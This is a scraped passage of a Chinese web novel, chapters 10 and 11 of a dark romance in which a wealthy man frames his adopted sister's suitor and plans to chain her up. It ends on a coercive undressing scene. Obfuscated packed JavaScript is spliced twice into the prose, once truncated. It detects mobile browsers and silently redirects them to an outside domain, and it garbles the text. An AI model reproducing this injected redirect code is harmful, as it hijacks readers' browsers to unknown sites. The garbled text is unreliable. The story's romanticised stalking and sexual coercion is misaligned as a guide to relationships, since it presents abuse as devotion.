他听过不少关于顾宴朝的传闻,表面斯文绅士,是个常做慈善的富豪,实则手腕狠戾至极,毫无善心可言,背地里必然已经坏事做尽。否则也做不到在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519981|170049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此短的时间里就在华尔街站稳脚跟,成了财富的象征。 那样的人,却有一个这样的妹妹。一黑一白,极善与极恶,仿佛活在两个世界。 鬼使神差地,他也开始每周去那里,听说她每周六会来,他也特意等着那一天过去。 她读的是女校,每天上下学都被保镖严密保护着,这是他们唯一能见面的机会。 女孩一双如水般澄澈的杏眼望着他,声线清浅温柔:“我应该以后都不能来了,这是给莉莉丝的生日礼物,劳烦你到时转交给她。” 莉莉丝是学校里的黑人女孩,年仅七岁,父亲吸毒入狱,母亲被父亲家暴致死。 他愣怔地接过那个包装精致的礼物盒,见她转身要走,忽然鬼使神差地抓住她的手腕,追问:“你要去哪?” 面对他略显唐突的动作,女孩没有生气,还是回答了他的问题。 听见她的话,他怔了片刻。 她哥哥就在这里,她为什么想一个人去英国?他知道他们不是亲兄妹,也许她有难言之隐。 他听说过秦家发生的事,也明白她的小心翼翼,曾经在顾家的如履薄冰。 她没有亲人,也不敢去爱人。 每天战战兢兢,把自己封闭在一个壳子里,让人心疼。 灯光下,男俊女美的画面分外和谐。偶尔有人路过,也注意到这对最近瞩目的荧幕情侣之间浮动着的暧昧氛围。 就在顾袅斟酌着要不要求证他林嘉然的事时,就听见他率先开了口:“里面的人,要见见吗?” 她愣住:“谁?” 盛柏言笑而不语,顺手帮她把滑落的发丝捻回耳后:“当然是你认识的人,不然我怎么会叫你过来?” 闻言,顾袅蹙起细眉,心里瞬间警铃大作。 她认识的人? 她在燕城没有亲戚,连朋友都没几个。 除了顾家人。 想到顾家,她就会想起被顾迟掳走的那晚,顾袅想起身就走。 惹不起总躲得起,她可不想再被顾家的神经病纠缠。 可即便她反应再快,依旧慢了一步。 刚一转身,就看见一行人站在身后的走廊里。 看见那道熟悉的身影,顾袅浑身一僵,血液仿佛一下冲到了头顶,又被凝固住。 他身边还站着其他人,其中也有盛柏言的父亲,她认得。 男人的姿态高高在上,受人簇拥,大衣被身后的会所的侍者拿着,他今天穿了一件黑衬衫,领口没系领带,扣子解到了锁骨下方,黑色衬托下,更显得他的肤色白到隐约觉得病态,胸口的肌肉线条若有似无,长指间燃着一点猩红,显出几分浪荡。 即便是顶灯从上打下来,无论从哪个角度,都衬得他轮廓深邃,面容俊美不凡。 可逆光下,那双幽深的眼里深深浅浅,顾袅却莫名从那晦暗的目光里感觉到了危险,仿佛有戾气一闪而过,快到无法捕捉。 明明有光线照在他周围,男人的神色却仿佛依然看不真切。 就那样居高临下地站在那里,已经不知道看了他们多久,仿佛已经将他们所有亲昵的互动尽收眼底。 她穿着白色半裙,上身穿着一件灰色针织毛衣,长发束成了鱼尾辫垂在一侧,娴静温柔的模样,没化妆,巴掌大的脸依然白里透红。 在冲着另一个男人笑。 哪有半点生病的样子? 空气诡异地安静下来,在场众人有所察觉,不知道为什么突然气压变得如此可怕,只敢小心翼翼地观察着男人的神色。 威压下,没人敢随意出声打破沉默。 顾袅没想过白天撒的谎会被以这种方式拆穿,脸上的血色彻底褪去,不知道该怎么办好,腿也开始发软。 这是第一次,顾宴朝亲眼看见她和别的男人站在一起。 他的目光比那晚她下药逃离时的更可怕,那阵侵袭逼近的压迫感像是要隔空把她撕碎,她太熟悉他,那是他盛怒之下的神色。 心脏瞬间狂跳起来,她咬紧唇,本能地向后退了一步。 这样的一幕,看上去就像她躲在了盛柏言身后,莹亮的眼睛里写满了惊慌,脸上的笑容没了,像受惊的兔子,刚才还红润的脸色瞬间变得惨白,仿佛看见了什么洪水猛兽。 一副避他如蛇蝎的样子。 好得很。 男人冷眼看着眼前这一切,唇角忽而勾了勾。 而后云淡风轻地,用手把烟掐灭。 10.第 10 章 走廊里安静到似乎连根针落地的声响都能听到。 就在顾袅呼吸发紧,忐忑地等待着他下一步动作时,就听见不远处有脚步声走近。 即便注意到气氛诡异的安静,会所经理也不得不硬着头皮上前,恭敬出声。 “顾总,廖处长已经在楼上的包厢里等着了。” 沉默的气氛被打破,片刻后,她看见男人的视线从她身上移开了。 他收回目光,没再看她,转身离开。 仿佛她只是一个陌生人。 一直到男人的身影彻底消失,顾袅站在原地迟迟回不过神,像是灵魂都被抽离出去,突然又听见身旁盛柏言的声音响起。 “袅袅,我先送你回去?还是你要等顾总应酬结束.....” 周围的声音好似距离她无比遥远,所有的氧气在男人离开的时候一并被抽走了。 要等他吗?然后跟他解释她为什么撒谎?她要怎么解释? 顾袅下意识摇头,心乱如麻。 他没有发作,也没让人拦着她,就这样放她离开了。 他发现她第二次对他撒谎,盛怒之下,打算彻底跟她撇清干系? 还是他只是在积蓄压抑着怒火。 越想,喉咙就越像是被无形的手攥紧了,窒息到喘不上气。 她看不懂顾宴朝在想什么,也更害怕他今天会出现在这里,是为了对盛家下手。 司机平稳将车子驶离,盛柏言和她一同坐在后座,顾袅如坐针毡,终于忍不住开口问道:“你怎么会和他在一起?” 男人眸色微动,并没详细解释,只言简意赅道:“是公司的一个项目,顾总有兴趣投资。” 闻言,顾袅更诧异:“他答应了?” “嗯。” 顾袅心里一沉,想起男人曾经的种种行径,又想起项岩磊的凄惨下场。 他怎么会好心到投资盛家的公司? 察觉到她的不安,盛柏言沉吟片刻,又温声安抚:“也许顾总只觉得我们当年年少气盛,毕竟事情已经过去那么久了。别太担心。” 方才在席间,顾宴朝也并未对他有什么特别的冷待。 顾袅欲言又止,只觉得浑身更冷。 她要怎么说,说顾宴朝最记仇,睚眦必报,提醒他小心? 可在外人眼里,她和他是兄妹。 也许她刚才不该走,她该留下等他,跟他彻底说清当年她执意离开他的原因。 她一直害怕逃避,恐惧说出的一切,总有一天要和他摊开来。 这样即便他有再多的怒火,只发泄到她一个人身上就好。 就在顾袅恍然失神间,忽而注意到窗外,会所的门口站着一道女人的身影。 保安似乎在赶人,在高壮的身形包围下,显得女人更加瘦弱,看上去四五十岁的年纪,细而尖的瓜子脸,失去光泽的发尾枯黄,穿着一件有些褪色的印花连衣裙,是十年前时兴的款式,与周围金碧辉煌的环境格格不入。 就在女人与保安挣扎时,顾袅看清她的侧脸,微微一怔。 - 会所走廊里。 服务生匆匆赶回,看着西装革履的会所经理刚从包厢出来,把沉重的红木门合上。 等门关严了,他连忙上前,语气为难:“经理,门口那个女人一直赖着不走,吵着闹着要见顾先生。” “赶快让保安把人赶走。” 服务生小心翼翼地回:“可她说她是顾总的母亲...” 没想到经理脸色骤变,呵斥出声:“闭嘴。” 服务生才刚大学毕业,措不及防被骂得吓了一跳。 会所每日流水进账就有上百万,出入的客人都是非富即贵,大人物不少,却没见经理露出过如此忌惮的神情。 看着服务生一脸懵懂天真,经理又无奈叹气:“你懂什么。” 二十年前,豪门顾家的丑闻闹得沸沸扬扬,燕城谁不知道? 苏冷玉用偷偷捡来的避孕套生下一个儿子,企图攀附豪门,却失败了,成了多少人背后茶余饭后的笑柄。 现在又变成了多少人心知肚明却不敢提起的禁忌。 包厢里的应酬并未持续多久,很快,大门被打开,服务生就看见那道高大笔挺的身影走出来。 男人俊美的脸上并无什么明显情绪,却莫名让人觉得气场可怖。 服务生心里一突突,油然而生的畏惧促使着他连忙躬身,不敢直视:“顾先生慢走。” 一直到了车上,邵应看向后视镜里的男人,汇报刚才外面发生的事情。 “苏女士刚才在外面想见您。” 上个月刚给两百万,对普通人来说,消耗的速度未免太快,偏偏苏冷玉养的男人是赌徒。 每次来要钱的数额也越来越大。拿不到钱,苏冷玉就会挨打。 车厢陷入死寂,男人没说话,邵应观察着他冷厉的神色,似乎并无波动。 紧接着,他顿了顿,又说:“小姐已经走了。” 顾袅走了,显而易见的事实。 邵应看得明白,刚才亲眼目睹顾袅和其他男人在一起的情形,他并非不怒。 只是在忍耐。 如果她没走,或许局面还会有挽回的可能。 可现在,男人身上最后一丝耐心已经磨没了。 夜幕漆黑,狂风席卷起路边的枯叶,乌云积压着,黑云压城似的可怖,仿佛随时就会降下一场瓢泼大雨。 迈巴赫平稳行驶在暴雨里,雨幕层层叠叠冲刷着车窗,倒映出男人晦暗不清的面容。 - 他是苏冷玉偷捡来的避孕套生下来的。 这种话根本刺痛不了他,因为他知道别人说的是真的。 每当这时候,苏冷玉就会冲上来,把那群小孩骂跑,对他说。 “阿朝,别听他们胡说八道。妈妈过几天就带你去找爸爸。爸爸不会不管我们的。你这么聪明,都是遗传了你爸爸。” “你跟他们这群普通人不一样,你爸爸很有钱,等你继承他的财产,以后也会很有钱的。” 她每天沉浸在豪门贵妇的梦里,甚至计划好了要买几套房子给乡下的父老乡亲。 一开始,四五岁之前,她的确对他挺好的。 他实在是她的骄傲,她相貌不算十分出众,却生出了他。 拉着做完了亲子鉴定,那个被称作是父亲的男人脸色依旧铁青,苏冷玉在一旁笑容满面,看不出眼前的男人根本没有一点认他们的意思。 豪门梦彻底破碎,顾家狠心到连亲生的都不要,因为对他们来说,实在是一种耻辱,会沦为燕城豪门圈子里的谈资和笑柄。 几次来回,苏冷玉终于死心。但很快找到了新的寄生体,徐娘半老,她凭着年轻时剩下的那点姿色,和一个开夜总会的男人搞上了。 那男人也是帮派里的马仔混混,搞一些灰色地带的生意买卖,但她并不在乎,只要有钱给她花就好。 总是故意弄出很大的声响,让他听着,还会放肆叫嚣:“顾家又怎么了,老子不仅睡了他睡过的女人,还得让他儿子叫老子一声爹。” 男人的KTV被警察查封的,违法经营。 那晚他没回家,在门口听见了苏冷玉被殴打的惨叫声。 那男人害怕坐牢,搬走了,苏冷玉也跟着一起跑了,扔下了他。 他那位浪荡的亲生父亲,虽然没什么本事,但流着狠戾的血,同样把他视作最大的耻辱和污点,用钱收买马仔杀他。 本以为会死在那个雨夜里,再睁开眼时却是在医院。 见他如此快地清醒过来,连护士忍不住感慨:“你还真是幸运,捡回来一条命。再晚送来一会儿可就活不成了....” 这时,病房外走进一道纤细身影。 少女看起来十四五岁的模样,穿着一件白色连衣裙,清爽干净,露出一截细白的小腿,黑发很乖顺地披散在肩头,还没长开的五官。 一双黑白分明的大眼睛,和昨晚记忆里的画面缓缓重合。 他闭了闭眼,回忆起来昏迷前的场景。 趴在他沾满血迹的身上,眼里惊恐又害怕。 她眨了眨眼睛,在病床边谨慎地和他保持了一段距离。 “你还有没有哪里不舒服?医生说你除了腹部有伤,左腿也骨折了,要在医院静养才可以。你别担心,我会每天来看你的....” 叽叽喳喳的,烦得很。 他一个字都没听,百无聊赖地收回目光,只在想一件事。 他怎么还没死? 既然没死,他就要去报仇。 很可惜的是,他的腿被撞断了,一时半会走不了路,当然也没办法去杀人。 第二天下午,她果然又来了,依然是关切的目光,那双漂亮的杏眼望着他。 “你今天感觉怎么样?有没有哪里不舒服?” 后来,他在病房里看见她在外面偷偷打电话。 她似乎有些紧张,拨出去之前还轻咳了两声,煞有其事的语气。 “您好,请问是顾宴朝的母亲,苏冷玉女士么?” “是这样的,他受了很严重的伤,如果您有空的话,方便来看看他吗?我可以让我的司机去接....” 话没说完,女孩的声音戛然而止,显然是被对面挂断了。 一板一眼的,比警察还正经。他听了想笑。 警察已经做过这些,而她全然是在作无用功。 看着她懊恼地放下手机,叹了口气,靠在医院墙边,细眉紧紧皱起来,似乎在担忧接下来该怎么办。 而后,她就来得更频繁了。 带着各种各样的汤,还有各种甜食。 他不喜欢那股甜腻的味道,全扔了,刚巧被她看见。 少女细白的手紧紧攥着裙角,欲言又止片刻,第一次在他面前有了脾气,漂亮的眼睛里写满愠怒。 “如果你不喜欢的话可以告诉我,为什么要浪费食物?” 他依然不语,沉默地注视着她。 也许是身上的戾气吓到了她,视线交汇,还没过几秒钟,她的气场就弱了下来。 大概是想着不跟他一个病人吵架,也可能是同情他是条没家的野狗。 她好像察觉出来什么,纤长卷翘的眼睫动了动,闷声说:“对不起,我不是强迫你一定要接受这些,或者你可以跟我说你喜欢吃什么...” 某天,他从病床上下来,走到窗边,发现外面的柳树不知何时冒出了新绿,天空湛蓝。 他也注意到了窗沿外的东西。 是一只鸟,断了翅膀的鸟,凝固的灰尘让它的羽毛也粘连在一起,血肉模糊,污秽不堪,和这个美好的世界格格不入,那么脏。 它飞不动了,正奄奄一息地等待死亡。 拿了起来,手掌慢慢收紧,感受着掌心里的挣扎,血肉的跳动,仿佛奏响了生命里最后一支哀歌。 “你在做什么!” 病房里突然响起一道惊慌失措的声线,紧接着,一只白皙的手覆盖住他的手背,柔软温暖的触感,随之而来的是一股浅淡的,少女身上独有的馨香。 和记忆里的味道一样。 那晚血快要从他身体里流干之前,他也闻见了她身上的气味。 她用尽力气,一根根掰开了他的手指,解救了那只垂死挣扎的鸟儿。 掌心空无一物,手背上的柔软触感亦消失得无影无踪。 他的目光阴鸷,讥讽看她:“它已经快死了。” 他只是帮它提前解脱而已,有什么错? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525866|170049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没有价值地活,不如趁早去死。 少女脸色一寸寸白下去,显然是被他吓到了,又很快回过神来。 她眼里的愤怒比恐惧更甚,咬紧唇瓣瞪着他,显然,她并不认同他的观点。 她倔强地反驳:“不会的,它不会死。” “不管怎样,你都没有权利决定他们的生死。” 愤然丢下这句话,她捧着那只鸟转身跑出了病房,裙摆在空气中划出一道漂亮的弧度。 他面无表情地重新回到病床上,躺下。 后来的一周,她都没再出现过。 也许是发现了他是一个隐藏的心理变态者,身为正常人和弱者本能的恐惧和退避危险,他并不意外。 病房回归沉寂,他就这样慢条斯理地,消耗这段百无聊赖的时光。 她又来了,这次怀里抱着一个保温箱。几天前还奄奄一息的鸟儿,此刻看起来状态很好。 她是为了来跟他证明,那只小鸟儿被她救活了。 她打开保温箱的盖子,把里面的小东西小心翼翼地拿了出来,抬眸望着他。 “你..要不要摸摸它?” 他挑了挑眉,刚想伸手,就看见少女瞬间把手撤回了一点,咬着唇提醒他。 “不可以用力。” 小东西不记仇,忘了他是前几天的恶魔,还张开羽毛抖了抖。 她呼吸顿了顿,嗓音清浅:“没有人有权利决定别人的生命,自己的生命也不可以。” 谁也不知道,下一个路口会不会遇到新的拐点。 阳光顺着病房的窗户照进来,金色的光晕镀在她的发丝周围,将她的瞳孔也映成了浅浅的琥珀色。 她语气严厉又认真:“总之你以后不能再做那样的事。否则...否则.....” 说到一半,她却停住了,似乎绞尽脑汁在想要怎么威胁他。 报警,还是打给精神病院,把他关起来,亦或者是不管他,任由顾家的人把他弄死。 真可惜,他一点也不在乎这些。 脑中划过很多猜想,他慢悠悠等着她的选择,最后听见她垂下头,闷声说。 “我就不会再来了。” 他低下头,终于忍不住勾起唇角。 “你叫什么名字?” 这几天只听见她身边的保镖司机叫她小姐,大小姐,大名鼎鼎的秦家,他听说过。 她回答了,忽而又想到什么,白皙的耳尖微微泛红:“不是这个鸟。” 很快,他的腿恢复了,可以去杀人了。 他原本以为再也不会出现的人,又出现在了病房门口。 女孩穿着一条白色的,精致的公主裙,两条纤细的小腿露在外面,紧张又局促地站在那里,挡住了他的路。 “如果你没有地方可以去的话,要不要跟我回家?” 他肯定是中邪了,短暂搁置了要去杀他父亲的计划,跟着她去了秦家。 秦海生一开始并不重用他,他和那群大字不识的马仔混混差不多,甚至更不受待见,肆无忌惮嘲讽他耻辱的身世。 直到某天开始,周围人对他的态度忽然和缓了许多,他看见那些马仔们裤袋里露出的烟盒。 贵烟,普通人抽不起的。 估计是秦海生收的礼,她偷拿出来送了一堆她爸手下的地痞,给他铺路呢,为了让那些人别再针对他。 当然也有人看不惯他,某天把他堵在码头后面,碰巧被女孩撞见。 那马仔看见是她,瞬间没了气焰:“大小姐,我就是给他个教训.....” 她气急了:“你闭嘴!” 呵,纤细的声音,大声吼人也没什么震慑力,像猫儿伸出爪子给人挠了挠痒。 港口的海浪声经久不息,轻柔撩起少女的裙摆和长发,露出白皙的侧脸。 她安安静静坐在一旁,给他的伤口上药。 那片嫣红的唇瓣抿了抿,忽然闷声道歉:“对不起。” 她觉得是她带他来了这儿,才害得他人被针对报复。 他真不在意,也懒得跟这群蠢到只剩粗野蛮力的刍狗成群结队,他是狼啊,怎么会在意这些。 “他们以后应该不会再为难你了。” 她从没和人发过火,这是第一次摆明了态度,因为他。 一边说着,眼泪啪嗒啪嗒地掉,又软又小的手拿着棉球轻轻擦拭他的伤口,小心翼翼的动作,像是把他也当成那天受伤的那只鸟了。 他想,秦海生的女儿还真是水做的,不然哪来那么多眼泪。 心脏收缩,诡异的让他觉得兴奋,得到了一种奇异又扭曲的快感,那滴眼泪像是把他的灵魂也烫出了一道伤口。 他忽然有点想尝尝她的眼泪是什么味道。 也许和别人的不一样,是甜的? 苏冷玉弃他,顾家杀他,他都不在意。 唯独她不行。 她要什么,他就给她什么,只要她乖乖地留在他身边。 那次背叛,他就当作没发生过。 甚至他和沈家的婚事,她看见了,只是她根本不在意,甚至连问他一句都不愿意。 她不会回来,这辈子她都不会再主动回到他身边。 男人抬手,扯了扯领口处系着的领带,忽而低声笑了,漆黑的眼底戾色翻涌,再也压抑不住。 他知道她喜欢什么样的,善良的,正直的,把她捧在手心里哄着的,他当然不是那种人。 明明是她亲口说的,会一直陪着他。 就算有一天他死了,闭上眼前最后看到的人,也必须是她。 他得毁了她心里的美好初恋,再把她抓回去。 用铁链锁在床上,在他身下哭着认错。 这辈子都不能从他身边逃走第二次。 11.第 11 章 一连几天过去,顾袅每天胆战心惊,却没有等到任何跟顾宴朝有关的消息,反而等来一个好消息。 先前面试的《绛雪辞》剧组的试镜通过了,通知她来签约。一个多月的练习没有白费,她还是争取到了想要的角色。 来和她约好时间签合同的人是剧组的制片主任邱莱,地点约在一家咖啡馆里。顾袅没有经纪公司,签约只能由她自己来。 女人坐在对面,穿着一身白色西装,戴着银框眼镜,脸型细长,看上去简洁干练。 邱莱微微一笑:“徐导还在洛杉矶参加电影节,来不及赶回来。也托我转达,他很看好顾小姐,试镜的那段舞蹈,我们和投资方都看过了,非常惊艳,也能看出你的用心。姜妩虽然不是这部戏里的女一号,但是整个剧本里最复杂的角色,期待你的诠释。” 闻言,顾袅感激地笑了笑,正要落笔签下合同时,包间里的门忽然被敲响。 邱莱的助理走进来,脚步有些急促,在女人耳边低声说了什么。 片刻后,只见女人推了推眼镜,从容起身,语气依然是礼貌的:“实在抱歉,顾小姐,合约有些条款,我们可能还需要再拿回去修改一下。我临时和资方有一场会面,我们改天再约。” 顾袅心中一沉,意识到了不对劲,不好的预感陡然升起。 待邱莱离开后,丁舒甜也脸色苍白,握着手机冲进来,神色惊慌。 “袅袅,你快看....” 看清热搜上的标题,顾袅呼吸一停。 脑中轰然一声,像是有什么炸开。 【娱乐圈新人名导与数名嫩模共度良宵,涉嫌使用违禁药品】 不是空口无凭的假新闻,新闻附图里还带着酒店监控的录像。 网上已经炸开了锅,桃色新闻总是高居榜首,吸引最多的关注,发酵的速度也是最快的。 铺天盖地的舆论,已经骂声一片。 - 顾袅接到许晋打来的电话,赶到盛柏言被关押的警局外,路边已经围满了记者,场面嘈杂混乱。 车只能在距离远些的停车场里停下,顾袅坐在副驾驶张望着马路对面的情形。 很快,另一辆黑色卡宴也缓缓驶入停车场,穿着灰色大衣的年轻男人下了车,短发被劲风吹得微微凌乱。 顾袅也要打开车门下车,就听见他说:“别下来了,风大。” 为了节省时间,许晋言简意赅道:“警方拒绝了探视申请,柏言托我传话给你,他没做那些,是被人陷害的。他希望你能相信他。” 顾袅张了张唇瓣,声音发涩:“我知道。” 她比谁都清楚。 许晋面色沉重,沉吟片刻后开口:“他得罪了什么人,不然事情不会这么棘手。” 闻言,顾袅眼睫微动,呼吸发紧,不知道该怎么回这句话。 他一早得知事情发生后就已经带律师来了警局,明明已经试图压着消息,可风声不知怎的还是走漏出去。 对方做得很干净,那几个野模被收买过,咬死盛柏言给了她们钱,约她们见面,甚至连酒店监控都被不着痕迹地替换了,一个身型与盛柏言相似的男人搂着三个女人进入酒店房间。证据链清晰又完整,毫无破绽。 他不是没尝试过疏通关系,但失败了。显然是有人在上面施压,让事情连半分周旋的余地都没有,只能等待第二轮的实验室血检结果。 一旦发展成刑事案件,就可能会坐牢。 甚至连警局都拒绝了探视,不让她见盛柏言一面。 沉吟片刻,许晋又道:“我们都知道他的为人,但网友们不了解。他担心你也被牵连,也希望你尽量自保,不用顾及他。” 网上舆论已经朝着顾袅这边倾倒,所有人都认为她和盛柏言是情侣关系,现在背信弃义的人是男方,网友都会站在她这边,她不会受到太大影响。 许晋离开后,顾袅颤抖着手拿出手机,拨通那个号码,却打不通。 电话里传来忙音,她闭了闭眼,竭力稳住心神:“我们去顾氏总部。” 听见她的话,丁舒甜缓缓睁大眼睛,忽然意识到了什么:“你觉得是顾总...” 上次因为顾宴朝给的十几个亿,家里危机解除了,她以为两人的关系已经缓和了不少,否则顾宴朝为什么会舍得随便拿出十多个亿。 就算当年顾袅跟人私奔,作为哥哥应该气恼,可也不至于到把妹夫逼到绝路的地步,未免太狠。 除非,他根本不想要这个妹夫。 滥交这种类型的丑闻和其他不同,就算日后澄清,又有几个人关心真相?在内地一定会被国家封杀。 身体止不住地发抖,顾袅只能深呼吸着,强迫自己冷静下来,抬起头时眼眶泛红,却没有眼泪。 “是他。” 一定是他。 顾袅当然看得明白,他要毁了盛柏言。 彻头彻尾,让一个好人身败名裂,让清白的人劣迹斑斑,遭人唾弃,甚至背负罪名坐牢。 他从不对任何人手软。 她早该猜到,这一天一定会来。 是她错了,她该一开始就和他说清,如果不是因为她的怯懦,盛柏言的人生也不会蒙上这样的污点。 她不能就这样看着身边的人因为自己出事。 车停到顾氏集团总部大楼停车场里,顾袅怕被人认出来,不方便下去,只能丁舒甜去问。 没一会儿,回到车上,她皱眉把偷听来的消息告诉顾袅:“他们说顾总上午来过公司,没多久就走了,去了港城。” 顾袅并不意外,她早就猜到了,他是故意的。 邵应不接她的电话,一定也是顾宴朝的命令。 他不见她,是因为猜到她一定会去找他,求他放过盛家。 他在报复她,那天她没留下来和他解释,现在就算她想去见他,也没那么容易。 他是个多桀骜的男人,九年前,就算在她父亲手下做事,对她也从来不像别人那样奉承讨好。 顾宴朝不会低头,也不会主动来找她,因为他有的是办法逼着她去求。 和许晋在警局门口分开后,丁舒甜担心顾袅家附近也有记者盯着,让司机开车送她们回了她自己的小公寓,起码现在还是安全的。 丁舒甜给她倒了杯温水,顾袅在沙发上缓缓喝掉,才觉得四肢微微回暖,思绪渐渐冷静下来。 公寓的门忽然被敲响,丁舒甜警惕偷过猫眼去看,发现不是记者,只是一个司机,手里拿着一个包装精致的礼盒。 打开盒子,里面是一封邀请函,看见落款,丁舒甜脸色变了。 港城赌王的孙子,花名在外的公子哥,每周登报绯闻不重样,被媒体爆出的奢靡生活令人乍舌。表面上经常举办一些邀请明星政客,达官显贵参加的奢华酒会。 实际上坊间也有传闻,宴会散席后的派对才是重头戏,权贵间无法被公之于众的交易。 早先就接二连三试图邀请顾袅去参加他的生日宴,被她们拒绝了。 碍着外界传言她和盛柏言是男女朋友,男人没再用其他威逼利诱的方式。 除却邀请函,还送了一条黑色长裙,露背款式。 这个时候送来,什么含义已经不言而喻。 盛家出事,那些曾经抛出过橄榄枝的人就更加肆无忌惮。 丁舒甜当然不可能让她去这种地方,立刻就想把裙子和邀请函都扔到垃圾桶里。 “别怕,我们就当没收到.....” 正要起身去丢,就被沙发上坐着的人拉住手腕。 顾袅抬了抬睫,眼底已经清明一片,不再有刚才的慌乱茫然:“我去。” 她想起这两天她关注过的顾氏集团的动向,港城一处重要的港口码头似乎想出售,她记得那里跟顾青有关。 也许今晚那场宴会,他也会在。 就算他不在,他应该也在她身边留了监视她行踪的人,他会知道她去了哪。 她要用自己当作诱饵。 - 月明星稀,入夜后的维多利亚港灯火阑珊,乘客们陆续上船。 登船处就有安检设备,所有人被全身搜查过,收缴了手机,为了防人带着录音设备或者针孔摄像头。 过了几层安检,顾袅终于上了甲板,环视了一圈周围,不乏一些娱乐圈里的面孔,也有一些衣着精致昂贵,偏商务风格的男女。 顾袅又绕了一圈观察环境,听见转角处压低声音的对话。 “耿嘉丽怎么也在?她不是从来不来这种场合。” 女人语调讥诮:“她今天就是奔着那位来的啊。要么说娱乐圈能混出名堂的都是人精,以前高高在上拿乔是为了给自己抬身价,碰上真有钱的主儿了当然要出手。” “那位不是要跟林家联姻么?” “听说还没谈拢,林家胃口太大....” 两个女人走远了,谈话声渐渐不清。 里面的宴会厅同样金碧辉煌,衣香鬓影,看上去和普通的宴会并无两样。 顾袅找了个角落,却依然被不可避免地注意到。 今天的热搜和新闻闹得沸沸扬扬,港城各路媒体也报道了,在场自然有人认出她来,周围有窃窃私语声。 “顾袅怎么在这儿?” “盛家倒了,估计是为了找个新金主吧。” 她无视了一些不怀好意的目光,没有理会。 大概摸索清楚整艘船的地图后,顾袅抬起头,看清了二楼落地窗里的情形。 这里也把客人分成了三六九等,二楼的赌场,普通客人上不去,只能站在下面遥遥望着。 玻璃窗后,最显眼的是一个穿着红裙的美艳女人站在牌桌旁,十分大胆的开叉设计,大面积的肌肤暴露在外,却不让人觉得低俗。 无数看客的惊艳目光落在女人身上,港城最火的女明星,电影咖,且只和国际名导合作。港城有佳丽,她排第一位。 父母是外交官,精通四国语言,传闻说她有四分之一意大利血统,因此眉眼比常人更为立体。 荧幕上冷艳女神,此刻眼波流转,如含春水的目光盈盈望着身旁坐着的那道身影上。 女人约莫有一米七以上的身高,站在普通男人身边,男人的气场只会被压得一点不剩。 偏偏他没有,哪怕是坐在那里。 坐着的人被遮挡住身型,看不清楚脸,她只看见那只骨节分明的手随意搭在了牌桌上,每一寸的线条都是她熟悉的。 纯金制成的筹码,看上去沉甸甸的质感,被骨节分明的手随意把玩着,像是没什么兴致。 就在顾袅出神的片刻,身后一道含笑男声响起。 “顾小姐美貌,不输在场任何人。” 顾袅微微一怔,转过身,就看见一个瘦高的陌生男人站在自己身后。 显然,他注意到了她刚刚视线望向的方向。 男人的五官算得上俊朗儒雅,发丝打理得很讲究,戴着一副金边眼镜,西装口袋里别着一块方巾,温文尔雅的模样,镜片后的目光灼灼。 “我看过顾小姐的电影,是你的影迷。鄙姓欧阳。” 说着,男人从钱夹里取出一张名片,递过来。 顾袅接过他的名片,黑色字体印着男人的名字。 欧阳琛。 港城最大最出名的经纪公司老板,捧出的港台艺人无数,耿嘉丽也是这家公司旗下的艺人。 果然和传闻里的一样,能来到这里的都是在全国富豪榜上排得上名号的人物。 欧阳琛目光瞥了一眼她雪白纤细的背脊,笑着开口:“顾小姐腰上的纹身很漂亮,虽然看着不是你本人的风格,但很迷人。” 如果不是仔细盯着她看了有一会儿,是不会发现的。 顾袅动作僵了下,心里顿时更警惕。 他又幽幽问:“顾小姐只拿着酒杯,却一口不喝,是在害怕,还是在等人?” 她扯了扯唇:“欧阳先生说笑了。” 男人笑了笑,抬手推了推鼻梁上的镜框,镜片折射出精明的光,也顺着看了一眼二层的光景。 “顾总今晚已经有佳人相伴,顾小姐不要痴心错付了。” 上前搭讪是半真半假,耿嘉丽是他的艺人,他看出她的意图,以为她想借着今晚去攀附顾宴朝,所以不希望她去半路截胡,坏人好事。 男人忽而放柔了语气,若有似无的引诱意味:“嘉 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胸口的涨感这几天越来越强烈,像是时刻就会有什么东西涌出来,原本尺寸合适的内衣也觉得有些紧绷。 她这几天心惊胆战,害怕盛家出事,完全把要去医院看看的事情忘在了脑后。 彻底冷静了思绪,顾袅就想转身离开。 头顶的灯光忽然间熄灭,四周陡然陷入漆黑。 下一刻,门忽然被人打开。 那人几步走到她面前,扯住她的手臂,将她逼进隔间。 顾袅浑身绷紧,第一反应是外面的欧阳琛闯了进来。 僵硬了几秒,是她熟悉的气息,冷冽的,混杂着酒气。 他怎么没和耿嘉丽在一起? 没给她开口说话的机会,男人从后面扼住她的颈,将她的脸摁在了冰凉的门板上。 腰臀以下不得不抬高了些许,面前贴着大理石材质冰凉入骨,她被冰得一颤,身后滚烫的身躯把她困在了一隅之地。 暴露在空气里的肌肤感受到了细微冷意,呼出的气息喷在大理石的面板上,形成一团轻飘的白雾,长发此刻也因为出了汗微微黏在颈侧,不太舒服。 她不习惯这样压迫的姿势,完全被掌控的不安感侵袭而来。 张了张唇,刚想开口让他放开她,黑暗的环境里,没有任何铺垫,身后的人忽而抬手去扯她的裙子。 顾袅大惊失色,下意识回手去挡,手腕却反被他抓住。一并抵在墙面。 男人和女人之间天生的力量压制,让她没有一点挣扎的余地。 顾宴朝垂下眼皮,漆黑的目光不动声色看着眼前的美景。 裙子本就是深开露背的,再往下扯,春光乍现,整个图案终于露得完整。从腰线开始,白晃晃的,那抹红色格外妖冶刺眼,刺得男人的眼眸也隐隐泛起猩红。 